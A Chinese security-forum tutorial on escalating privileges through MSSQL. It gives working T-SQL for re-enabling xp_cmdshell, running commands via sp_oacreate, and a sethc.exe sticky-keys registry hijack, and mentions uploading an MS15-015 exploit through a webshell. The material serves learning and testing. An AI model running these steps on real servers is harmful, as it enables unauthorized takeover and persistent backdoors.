安全矩阵

 找回密码
 立即注册
搜索
查看: 2367|回复: 0

基础16-权限提升之Mssql数据库提权

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 14:43:35 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2022-1-23 14:45 编辑

原文链接:基础16-权限提升之Mssql数据库提权


内容目录二、mssql提权
1.mssql提权之xp_cmdshell
2.mssql提权之sp_oacreate
3.mssql提权之sp_oamethod
4.mssql提权之沙盒模式提权
5.mssql提权之映像劫持  

三、Oracle数据库提权-oracle工具
二、mssql提权流程:和mysql相同,需要得到SA用户账号密码
例如读取网站的数据库配置文件。

1.mssql提权之xp_cmdshell
原理:扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。
xp_cmdshell在mssql2000是默认开启的,2005之后默认关闭,但我们有SA管理员账号密码后,可以使用sp_configure重新开启。
第一步,使用sa用户远程连接一下。(mssql数据库SA用户默认支持外连)。
利用xp_cmdshell执行命令,发现受阻。

第二步,启动xp_cmdshell
启用:EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;关闭就是把xp_cmdshell后的1改成0即可。

第三步:再次执行命令EXEC master.dbo.xp_cmdshell 'whoami'

成功执行cmd命令,就是权限有的低,这里就又绕到了windows本地提权,我们通过信息收集,使用ms15-015漏洞进行提权,先将ms15-015利用exp通过webshell上传到对方服务器,然后在sql命令中执行。

成功提权,system权限。
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复。
  1. exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'
复制代码

​​
2.mssql提权之sp_oacreate+sp_oamethod
sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。
sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。
第一步,先开启组件
开启:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE

第二步:进行系统命令执行
执行whoami并写入到c盘1.txtdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt

不过我这里并没有成功写入,试了好几次都没有成功,知道的大佬可以说一下哈。
3.mssql提权之沙盒模式提权
原理:本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。
按照下面代码依次执行即可。

4.mssql提权之映像劫持
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
使用前提:需要开启xp_regwrite并未禁止注册表编辑。
  1. 查看xp_regwrite是否启用
  2. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
复制代码

开启:xp_regwrite
  1. EXEC sp_configure 'show advanced options', 1
  2. RECONFIGURE
  3. EXEC sp_configure 'xp_regwrite',1
  4. RECONFIGURE
复制代码
利用regwrite函数修改注册表进行劫持,如果这里regwrite执行失败使用上面方法开启。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

接下来查看是否劫持成功。
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

接下来我们使用远程连接桌面,连续按五次shift就可调用cmd窗口。

上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作。
参考文章:https://blog.csdn.net/q20010619/article/details/121447014
三、orcle数据库提权注意:oracle数据库一般搭配java,而jsp网站一般拿到webshell就是系统权限,一般不需要提权。
第一步:同样先找到用户名和密码信息。
第二步:选择相应的模式,使用oracleshell工具提权即可。

软件地址:https://github.com/jas502n/oracleShell使用非常方便,可以看看项目介绍。????​

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 09:48 , Processed in 0.014213 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表